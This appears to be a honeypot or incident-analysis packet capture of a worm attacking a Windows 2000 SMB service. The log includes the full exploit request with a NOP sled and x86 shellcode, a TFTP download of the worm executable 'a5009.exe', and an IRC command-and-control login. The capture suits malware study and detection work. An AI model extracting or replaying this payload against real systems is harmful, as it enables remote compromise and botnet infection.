32 00 30 00 30 00 30 00 20 00 32 00 31 00 39 00 2.0.0.0. .2.1.9.
35 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 5...W.i.n.d.o.w.
73 00 20 00 32 00 30 00 30 00 30 00 20 00 35 00 s. .2.0.0.0. .5.
2E 00 30 00 00 00 00 00 ..0.....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.015652 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x189
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10312 IpLen:20 DgmLen:379 DF
***AP*** Seq: 0xA7BEC001 Ack: 0x1D554B8E Win: 0xF9BF TcpLen: 20
00 00 01 4F FF 53 4D 42 73 16 00 00 C0 98 07 C8 ...O.SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 08 10 00 04 FF 00 4F 01 00 00 DA 00 24 01 4E .......O.....$.N
54 4C 4D 53 53 50 00 02 00 00 00 1E 00 1E 00 30 TLMSSP.........0
00 00 00 15 82 8A E0 9B E7 08 41 61 D6 80 D2 00 ..........Aa....
00 00 00 00 00 00 00 8C 00 8C 00 4E 00 00 00 49 ...........N...I
00 53 00 53 00 2D 00 30 00 4F 00 34 00 47 00 43 .S.S.-.0.O.4.G.C
00 4C 00 41 00 51 00 4D 00 52 00 54 00 02 00 1E .L.A.Q.M.R.T....
00 49 00 53 00 53 00 2D 00 30 00 4F 00 34 00 47 .I.S.S.-.0.O.4.G
00 43 00 4C 00 41 00 51 00 4D 00 52 00 54 00 01 .C.L.A.Q.M.R.T..
00 1E 00 49 00 53 00 53 00 2D 00 30 00 4F 00 34 ...I.S.S.-.0.O.4
00 47 00 43 00 4C 00 41 00 51 00 4D 00 52 00 54 .G.C.L.A.Q.M.R.T
00 04 00 1E 00 69 00 73 00 73 00 2D 00 30 00 6F .....i.s.s.-.0.o
00 34 00 67 00 63 00 6C 00 61 00 71 00 6D 00 72 .4.g.c.l.a.q.m.r
00 74 00 03 00 1E 00 69 00 73 00 73 00 2D 00 30 .t.....i.s.s.-.0
00 6F 00 34 00 67 00 63 00 6C 00 61 00 71 00 6D .o.4.g.c.l.a.q.m
00 72 00 74 00 00 00 00 00 00 57 00 69 00 6E 00 .r.t......W.i.n.
64 00 6F 00 77 00 73 00 20 00 35 00 2E 00 30 00 d.o.w.s. .5...0.
00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 ..W.i.n.d.o.w.s.
20 00 32 00 30 00 30 00 30 00 20 00 4C 00 41 00 .2.0.0.0. .L.A.
4E 00 20 00 4D 00 61 00 6E 00 61 00 67 00 65 00 N. .M.a.n.a.g.e.
72 00 00 r..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.073552 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x114
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20320 IpLen:20 DgmLen:262 DF
***AP*** Seq: 0x1D554B8E Ack: 0xA7BEC154 Win: 0x409C TcpLen: 20
00 00 00 DA FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 08 20 00 0C FF 00 DA 00 04 11 0A 00 00 00 00 .. .............
00 00 00 57 00 00 00 00 00 D4 00 00 80 9F 00 4E ...W...........N
54 4C 4D 53 53 50 00 03 00 00 00 01 00 01 00 46 TLMSSP.........F
00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 40 .......G.......@
00 00 00 00 00 00 00 40 00 00 00 06 00 06 00 40 .......@.......@
00 00 00 10 00 10 00 47 00 00 00 15 8A 88 E0 48 .......G.......H
00 4F 00 44 00 00 ED 41 2C 27 86 26 D2 59 A0 B3 .O.D...A,'.&.Y..
5E AA 00 88 6F C5 57 00 69 00 6E 00 64 00 6F 00 ^...o.W.i.n.d.o.
77 00 73 00 20 00 32 00 30 00 30 00 30 00 20 00 w.s. .2.0.0.0. .
32 00 31 00 39 00 35 00 00 00 57 00 69 00 6E 00 2.1.9.5...W.i.n.
64 00 6F 00 77 00 73 00 20 00 32 00 30 00 30 00 d.o.w.s. .2.0.0.
30 00 20 00 35 00 2E 00 30 00 00 00 00 00 0. .5...0.....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.077320 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0xAF
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10313 IpLen:20 DgmLen:161 DF
***AP*** Seq: 0xA7BEC154 Ack: 0x1D554C6C Win: 0xF8E1 TcpLen: 20
00 00 00 75 FF 53 4D 42 73 00 00 00 00 98 07 C8 ...u.SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 08 20 00 04 FF 00 75 00 00 00 00 00 4A 00 00 .. ....u.....J..
57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 W.i.n.d.o.w.s. .
35 00 2E 00 30 00 00 00 57 00 69 00 6E 00 64 00 5...0...W.i.n.d.
6F 00 77 00 73 00 20 00 32 00 30 00 30 00 30 00 o.w.s. .2.0.0.0.
20 00 4C 00 41 00 4E 00 20 00 4D 00 61 00 6E 00 .L.A.N. .M.a.n.
61 00 67 00 65 00 72 00 00 a.g.e.r..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.134056 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x98
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20322 IpLen:20 DgmLen:138 DF
***AP*** Seq: 0x1D554C6C Ack: 0xA7BEC1CD Win: 0x4023 TcpLen: 20
00 00 00 5E FF 53 4D 42 75 00 00 00 00 18 07 C8 ...^.SMBu.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
00 08 30 00 04 FF 00 5A 00 08 00 01 00 33 00 00 ..0....Z.....3..
5C 00 5C 00 32 00 31 00 31 00 2E 00 31 00 32 00 \.\.2.1.1...1.2.
30 00 2E 00 37 00 38 00 2E 00 32 00 34 00 31 00 0...7.8...2.4.1.
5C 00 49 00 50 00 43 00 24 00 00 00 3F 3F 3F 3F \.I.P.C.$...????
3F 00 ?.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.135236 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x72
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10314 IpLen:20 DgmLen:100 DF
***AP*** Seq: 0xA7BEC1CD Ack: 0x1D554CCE Win: 0xF87F TcpLen: 20
00 00 00 38 FF 53 4D 42 75 00 00 00 00 98 07 C8 ...8.SMBu.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 FF FE ................
00 08 30 00 07 FF 00 38 00 01 00 FF 01 00 00 FF ..0....8........
01 00 00 07 00 49 50 43 00 00 00 00 .....IPC....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.190691 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0xA0
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20323 IpLen:20 DgmLen:146 DF
***AP*** Seq: 0x1D554CCE Ack: 0xA7BEC209 Win: 0x3FE7 TcpLen: 20
00 00 00 66 FF 53 4D 42 A2 00 00 00 00 18 07 C8 ...f.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 40 00 18 FF 00 DE DE 00 10 00 16 00 00 00 ..@.............
00 00 00 00 9F 01 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 01 00 00 00 40 00 00 00 ............@...
02 00 00 00 03 13 00 00 5C 00 62 00 72 00 6F 00 ........\.b.r.o.
77 00 73 00 65 00 72 00 00 00 w.s.e.r...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.193099 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0xC1
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10315 IpLen:20 DgmLen:179 DF
***AP*** Seq: 0xA7BEC209 Ack: 0x1D554D38 Win: 0xF815 TcpLen: 20
00 00 00 87 FF 53 4D 42 A2 00 00 00 00 98 07 C8 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 40 00 2A FF 00 87 00 00 00 40 01 00 00 00 ..@.*......@....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
80 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 02 00 FF 05 00 00 00 06 00 06 00 40 ...............@
00 00 00 10 00 10 00 47 00 00 00 15 8A 88 E0 48 .......G.......H
00 9B 01 12 00 9B 01 12 00 27 86 .........'.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.251200 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0xD6
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20326 IpLen:20 DgmLen:200 DF
***AP*** Seq: 0x1D554D38 Ack: 0xA7BEC294 Win: 0x3F5C TcpLen: 20
00 00 00 9C FF 53 4D 42 25 00 00 00 00 18 07 C8 .....SMB%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 50 00 10 00 00 48 00 00 00 00 10 00 00 00 ..P....H........
00 00 00 00 00 00 00 00 00 54 00 48 00 54 00 02 .........T.H.T..
00 26 00 00 40 59 00 00 5C 00 50 00 49 00 50 00 .&..@Y..\.P.I.P .
45 00 5C 00 00 00 40 00 05 00 0B 03 10 00 00 00 E.\...@.........
48 00 00 00 01 00 00 00 B8 10 B8 10 00 00 00 00 H...............
01 00 00 00 00 00 01 00 40 4E 9F 8D 3D A0 CE 11 ........@N ..=...
8F 69 08 00 3E 30 05 1B 01 00 00 00 04 5D 88 8A .i..>0.......]..
EB 1C C9 11 9F E8 08 00 2B 10 48 60 02 00 00 00 ........+.H`....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.254142 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0xB6
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10316 IpLen:20 DgmLen:168 DF
***AP*** Seq: 0xA7BEC294 Ack: 0x1D554DD8 Win: 0xF775 TcpLen: 20
00 00 00 7C FF 53 4D 42 25 00 00 00 00 98 07 C8 ...|.SMB%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 50 00 0A 00 00 44 00 00 00 00 00 38 00 00 ..P....D.....8..
00 44 00 38 00 00 00 00 00 45 00 00 05 00 0C 03 .D.8.....E......
10 00 00 00 44 00 00 00 01 00 00 00 B8 10 B8 10 ....D...........
E3 7E 00 00 0D 00 5C 50 49 50 45 5C 6E 74 73 76 .~....\PIPE\ntsv
63 73 00 00 01 00 00 00 00 00 00 00 04 5D 88 8A cs...........]..
EB 1C C9 11 9F E8 08 00 2B 10 48 60 02 00 00 00 ........+.H`....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.311779 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x344
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20329 IpLen:20 DgmLen:822 DF
***AP*** Seq: 0x1D55535E Ack: 0xA7BEC314 Win: 0x3EDC TcpLen: 20
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 E0 07 00 00 04 00 00 00 00 00 00 00 ..............

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:27.315733 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x5BC
***.***.208.83:2615 -> 192.168.37.150:445 TCP TTL:114 TOS:0x0 ID:20328 IpLen:20 DgmLen:1454 DF
***A**** Seq: 0x1D554DD8 Ack: 0xA7BEC314 Win: 0x3EDC TcpLen: 20
00 00 08 90 FF 53 4D 42 25 00 00 00 00 18 07 C8 .....SMB%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 60 00 10 00 00 3C 08 00 00 00 01 00 00 00 ..`....<........
00 00 00 00 00 00 00 00 00 54 00 3C 08 54 00 02 .........T.<.T..
00 26 00 00 40 4D 08 00 5C 00 50 00 49 00 50 00 .&..@M..\.P.I.P .
45 00 5C 00 00 00 40 00 05 00 00 03 10 00 00 00 E.\...@.........
3C 08 00 00 01 00 00 00 24 08 00 00 00 00 36 00 <.......$.....6.
11 00 00 00 00 00 00 00 11 00 00 00 52 00 4F 00 ............R.O.
4F 00 54 00 5C 00 53 00 59 00 53 00 54 00 45 00 O.T.\.S.Y.S.T.E.
4D 00 5C 00 30 00 30 00 30 00 30 00 00 00 00 00 M.\.0.0.0.0.....
FF FF 00 00 E0 07 00 00 00 00 00 00 00 00 00 00 ................
C0 07 00 00 00 00 00 00 90 90 90 90 90 90 90 90 ................
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
EB 08 90 90 67 15 7A 76 EB 08 90 90 67 15 7A 76 ....g.zv....g.zv
90 90 90 90 90 90 90 EB 08 90 90 48 4F 44 88 90 ...........HOD..
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
33 DB 64 8B 43 30 8B 40 0C 8B 70 1C AD 8B 78 08 3.d.C0.@..p...x .
E8 45 00 00 00 53 56 8B 5F 3C 8B 5C 3B 78 03 DF .E...SV._<.\;x..
53 8B 5B 20 03 DF 53 83 C3 04 8B 33 03 F7 33 C9 S.[ ..S....3..3.
AC 32 C8 C1 C1 05 84 C0 75 F6 2B CA 75 E9 58 2B .2......u.+.u.X+
D8 D1 EB 5E 03 5E 24 03 DF 66 8B 0B 8B 5E 1C 03 ...^.^$..f...^..
DF 8B 04 8B 03 C7 5E 5B FF E0 5E 68 33 32 00 00 ......^[..^h32..
68 77 73 32 5F 54 BA 92 6E 04 84 FF D6 8B F8 81 hws2_T..n.......
EC 00 02 00 00 8B EC 53 6A 01 6A 02 BA 83 53 83 .......Sj.j...S.
00 FF D6 53 53 68 D3 2B D0 53 68 02 00 0F CE 8B ...SSh.+.Sh.....
D4 8B D8 6A 10 52 53 BA 63 30 60 5A FF D6 50 B4 ...j.RS.c0`Z..P.
02 50 55 53 BA 00 58 60 E2 FF D6 BF 93 87 B3 CA .PUS..X`........
FF E5 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:29.229833 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x5D
192.168.37.150:445 -> ***.***.208.83:2615 TCP TTL:128 TOS:0x0 ID:10512 IpLen:20 DgmLen:79 DF
***AP*** Seq: 0xA7BEC314 Ack: 0x1D55566C Win: 0xFAF0 TcpLen: 20
00 00 00 23 FF 53 4D 42 25 B0 00 00 C0 18 07 C8 ...#.SMB%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 08 78 04 ..............x.
00 08 60 00 00 00 00 ..`....

--------------------------------------------------------------------------
■ダウロード：TFTPを利用したワームの本体をダウロードしている様子
--------------------------------------------------------------------------
09/27-06:24:20.620147 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x3C
192.168.37.150:1224 -> ***.***.198.126:69 UDP TTL:128 TOS:0x0 ID:14277 IpLen:20 DgmLen:46
Len: 18
00 01 61 35 30 30 39 2E 65 78 65 00 6F 63 74 65 ..a5009.exe.octe
74 00 t.

-------------------------------------------------------------------
■リモートアクセス：Port8080を利用してIRC通信をおこなっている様子
-------------------------------------------------------------------

09/27-03:30:34.096197 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x3E
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10517 IpLen:20 DgmLen:48 DF
******S* Seq: 0xA7E03C40 Ack: 0x0 Win: 0xFAF0 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.115499 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x3E
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:114 TOS:0x0 ID:10621 IpLen:20 DgmLen:48 DF
***A**S* Seq: 0x28529BAE Ack: 0xA7E03C41 Win: 0x43A4 TcpLen: 28
TCP Options (4) => MSS: 1332 NOP NOP SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.116119 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x3C
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10518 IpLen:20 DgmLen:40 DF
***A**** Seq: 0xA7E03C41 Ack: 0x28529BAF Win: 0xFAF0 TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.117337 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x5C
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10519 IpLen:20 DgmLen:78 DF
***AP*** Seq: 0xA7E03C41 Ack: 0x28529BAF Win: 0xFAF0 TcpLen: 20
55 53 45 52 20 58 74 65 75 20 58 74 65 75 20 58 USER Xteu Xteu X
74 65 75 20 3A 49 53 53 2D 30 4F 34 47 43 4C 41 teu :ISS-0O4GCLA
51 4D 52 54 0D 0A QMRT..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.267811 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x36
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:115 TOS:0x0 ID:10625 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x28529BAF Ack: 0xA7E03C67 Win: 0x437E TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.268582 0:C:29:D4:ED:B6 -> 0:D0:C9:96:61:5D type:0x800 len:0x45
192.168.37.150:1049 -> ***.***.40.228:8080 TCP TTL:128 TOS:0x0 ID:10520 IpLen:20 DgmLen:55 DF
***AP*** Seq: 0xA7E03C67 Ack: 0x28529BAF Win: 0xFAF0 TcpLen: 20
4E 49 43 4B 20 6D 4B 52 4B 66 72 52 56 0D 0A NICK mKRKfrRV..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

09/27-03:30:34.291369 0:D0:C9:96:61:5D -> 0:C:29:D4:ED:B6 type:0x800 len:0x21E
***.***.40.228:8080 -> 192.168.37.150:1049 TCP TTL:115 TOS:0x0 ID:10628 IpLen:20 DgmLen:528 DF
***AP*** Seq: 0x28529BAF Ack: 0xA7E03C76 Win: 0x436F TcpLen: 20
3A 68 75 62 2E 33 35 32 36 36 2E 63 6F 6D 20 30 :hub.35266.com 0
30 31 20 6D 4B 52 4B 66 72 52 56 20 3A 78 2C 20 01 mKRKfrRV :x,
6D 4B 52 4B 66 72 52 56 21 58 74 65 75 40 66 30 mKRKfrRV!Xteu@f0
37 38 32 34 31 2E 70 70 70 2E 61 73 61 68 69 2D 78241.ppp.***-
6E 65 74 2E 6F 72 2E 6A 70 0D 0A 3A 68 75 62 2E net.or.jp..:hub.
33 35 32 36 36 2E 63 6F 6D 20 30 30 35 20 6D 4B 35266.com 005 mK
52 4B 66 72 52 56 20 4D 41 50 20 4B 4E 4F 43 4B RKfrRV MAP KNOCK
20 53 41 46 45 4C 49 53 54 20 48 43 4E 20 4D 41 SAFELIST HCN MA
58 43 48 41 4E 4E 45 4C 53 3D 31 30 20 4D 41 58 XCHANNELS=10 MAX
42 41 4E 53 3D 36 30 20 4E 49 43 4B 4C 45 4E 3D BANS=60 NICKLEN=
33 30 20 54 4F 50 49 43 4C 45 4E 3D 33 30 37 20 30 TOPICLEN=307
4B 49 43 4B 4C 45 4E 3D 33 30 37 20 4D 41 58 54 KICKLEN=307 MAXT
41 52 47 45 54 53 3D 31 35 20 41 57 41 59 4C 45 ARGETS=15 AWAYLE
